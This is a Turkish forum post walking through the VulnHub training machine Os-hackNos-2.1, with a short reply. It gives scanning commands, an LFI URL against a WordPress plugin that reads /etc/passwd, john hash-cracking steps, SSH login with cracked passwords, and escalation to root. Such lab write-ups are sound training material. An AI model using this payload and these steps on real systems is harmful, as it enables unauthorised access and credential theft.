THT DUYURU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Seçenekler

hackNos: Os-hackNos-2.1 Zafiyetli Makinenin Çözümü //By Ghost

By Ghost - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
07/2013
Nereden:
C:\Linux
Yaş:
23
Mesajlar:
939
Konular:
143
Teşekkür (Etti):
396
Teşekkür (Aldı):
406
Ticaret:
(0) %
05-01-2020 15:13
#1
hackNos: Os-hackNos-2.1 Zafiyetli Makinenin Çözümü //By Ghost
Merhabalar herkese. Uzun zamandır zafiyetli makine çözümü yapmıyordum. Bu yazıda sizlerle beraber hackNos: Os-hackNos-2.1 isimli zafiyetli makinenin çözümünü inceleyeceğiz.

https://www.vulnhub.com/entry/hackno...acknos-21,403/

Makine ismi: Os-hackNos-2.1

Yayınlanma Tarihi: 29 Kasım 2019

Yapan: Rahul Gehlaut

Boyut/Format: 1.5GB/OVA

Zorluk: Kolay-Orta

İşletim Sistemi: Linux

Seri: hackNos

Açıklama: Makinedeki 2 flag dosyasını bul. (UserFlag-RootFlag)

Not: Başlamadan önce belirtmek isterim. Bu seriyi oluşturan kişisel VirtualBox üzerinde çalışmışlar. İndirdiğiniz zafiyetli makine VMware 'da düzgün çalışmayacaktır. VirtualBox üzerinden CTF'i çözmenizi öneririm.


Makinemizin IP adresini öğrenmek için terminale netdiscover komutunu girelim. Her zaman bunu kullanıyoruz ama tüm ağı taramak için daha iyi. Normalde arp-scan -l komutunu da kullanabilirsiniz.




Şimdi bi nmap taraması yapalım bakalım sistemimizde hangi portlar açık.
Kod:
nmap -sS -sV -O IPADRESI



Zafiyetli makinemizde ssh (22) ve http (80) portlarımız açıkmış. 80 portu bildiğiniz üzere bir web servisini dolayısıyla web sitesinin olduğunu gösteriyor. Bakalım site nasıl bişi.




Anasayfada bişi yok gibi duruyor. Biz dirb aracımızla sitenin dizinlerinde bişiler var mı bakalım.
Kod:
dirb http://IPADRESI




tsweb/ adında bi dizin buldu. Onunda altında neler var diye taramaya devam ederken wp... klasörlerini buldu. Buradan anlıyoruzki tsweb/ dizini bir wordpress sayfası. Bakalım anasayfasında ne var belki bişi buluruz.



Anasayfamızda "Bug-find" başlıklı bir sayfa ile karşılaşıyoruz. Buradan anlıyorumki sistemim wordpress bir yerlerde bug var onu bulmam lazım. Hemen wpscan aracımızı kullanalım. Wordpress sistemler için kullanılabilecek en iyi araç denilebilir. Terminale dönüp aşağıdaki komutu girelim.
Kod:
wpscan --url IPADRESI/tsweb/ -e ap

-e --> enumerate
ap --> all plugins




Taramamız bittikten sonra Plugin(s) Identified altında sadece 1 tane plugin bulmuş. Bunla alakalı bi exploit, bug var mı internette arama yapalım




En üst sırada, bulduğumuz plugin için bir Local File Inclusion (LFI) zafiyeti ile alakalı exploit buldu. Bakalım ne varmış nasıl sömürülüyormuş.






"Vulnerable code:" kısmında anlatmaya çalıştığı şey, ajax_controller.php dosyasında bir $_GET isteği yapan kod parçası var. Bu GET komutu ile alakalı herhangi bir kontrol yok. Kontrolsüz bir GET isteği varsa eğer orada LFI açığından da söz edilebilir. bWapp, DVWA tarzı pentest lab'larında LFI ile alakalı örneklerde bu tarz GET parametresini sömürebiliyorduk. En bilindik ../etc/passwd dosyasını okuyorduk. Hemen aşağıda da bunla alakalı bi URL yapısını bizlere veriyor. Sitemize geri dönüp linkimizi düzenleyelim. Bakalım passwd dosyasını okuyabilecek miyiz?
Kod:
##
##
http://IPADRESI/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
##
##


LFI açığı sayesinde passwd dosyasını okuyabildik ve en altta flag kullanıcısının şifresi hash'li bir şekilde ortada. Bu hash'i kırabilirsek sisteme girebiliriz. Terminale dönüp hash'imizi bir dosyaya yazalım ve john aracıyla kırma işlemine geçelim.
Kod:
touch test
Kod:
echo 'HASHDEGERI' > test




Not: rockyou dosyası normalde arşivlenmiş haldedir. Daha önce kullanmadıysanız, aşağıdaki komutları sırayla yeni bir terminal açıp giriniz.
cd /usr/share/wordlists/
gzip -d rockyou.txt.gz


Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long test

Kod:
john --show --format=md5crypt-long test




passwd dosyasından edindiğimiz hash değerini john aracıyla kırabildik. Şifremiz topsecret. Şimdi flag kullanıcısı için şifre elimizde olduğuna göre ssh bağlantısı yapabiliriz. Yeni bir terminal açıp aşağıdaki komutu girelim.

Kod:
ssh flag@IPADRESI

(Uyarı çıkarsa eğer yes+enter yapın)
Kod:
topsecret




Bağlantıyı sağladık içerdeyiz şuan. Dizinler arası geçiş yapmak isterken restricted hatası ile karşılaştım. rbash ile alakalı bir durum. Bizde daha rahat çalışabilmek için flag kullanıcısı için bash shell ekleyelim
Kod:
python -c 'import pty;pty.spawn("/bin/bash")'



Makinede iki adet flag dosyamız vardı. İlk'i genellikle home dizini altında bulunur. ilk flagımızı öğrenmek için home dizine gidelim.




Malesef yetki hatası aldık. Rohit dosyasına erişebilmek için ya root olmamız gerekiyor ya da rohit kullanıcısının bilgilerini öğrenmemiz gerekiyor. Bunun için sistemde uzun süren bir araştırmanın sonunda rohit bilgilerini tutan bir kayıt buldum. Log/Kayıt dosyasına ulaşmak için sırayla aşağıdaki komutları giriniz.
Kod:
cd /var/backups/passbkp/
Kod:
cat md5-hash




flag kullanıcısı için bulduğumuz hash ile yapısı aynı. Flag için yaptığımız şifre kırma işlemlerini rohit hash'i içinde yapalım.
Kod:
touch rohit
Kod:
echo 'HASHDEGERI' > rohit
Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt rohit
Kod:
john --show rohit




Hash'i kırma işlemi biraz uzun sürse de rohit kullanıcısı için şifreyi öğrendik. Şimdi sisteme girdiğimiz terminale geri dönüp rohit kullanıcısına geçiş yapalım.
Kod:
su rohit
Kod:
!%hack41
Kod:
cd /home/rohit
Kod:
cat user.txt



User flag dosyamıza ulaştık. Sırada root dizini altındaki flag dosyasına ulaşmak kaldı. Bunun için root haklarına sahip olmamız gerekiyor. Bunun için terminale sudo su yazalım. rohit kullanıcısı için şifre istiyor. !%hack41 yazıp enterladığımızda root'a geçiş yaptık Artık dosyamızı okumak için gerekli komutları girip arkanıza yaslanabilirsiniz




H4ck3njoy




Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun
---------------------
Öfkene hakim olamıyorsan;
Niye yaşıyorsun?

-->Muslims Freedom!!!<--
Konu By Ghost tarafından (05-01-2020 15:17 Saat 15:17 ) değiştirilmiştir.
"P4RS, Joe McLean, The CrueL Teşekkür etti.
"P4RS - ait Kullanıcı Resmi (Avatar)
Green Team Lideri
Üyelik tarihi:
01/2017
Nereden:
Balkes
Yaş:
18
Mesajlar:
4.569
Konular:
481
Teşekkür (Etti):
1129
Teşekkür (Aldı):
2281
Ticaret:
(0) %
05-01-2020 17:04
#2
Cevap: hackNos: Os-hackNos-2.1 Zafiyetli Makinenin Çözümü //By Ghost
Ellerine sağlık Ghost, güzel bir anlatım olmuş.
By Ghost Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler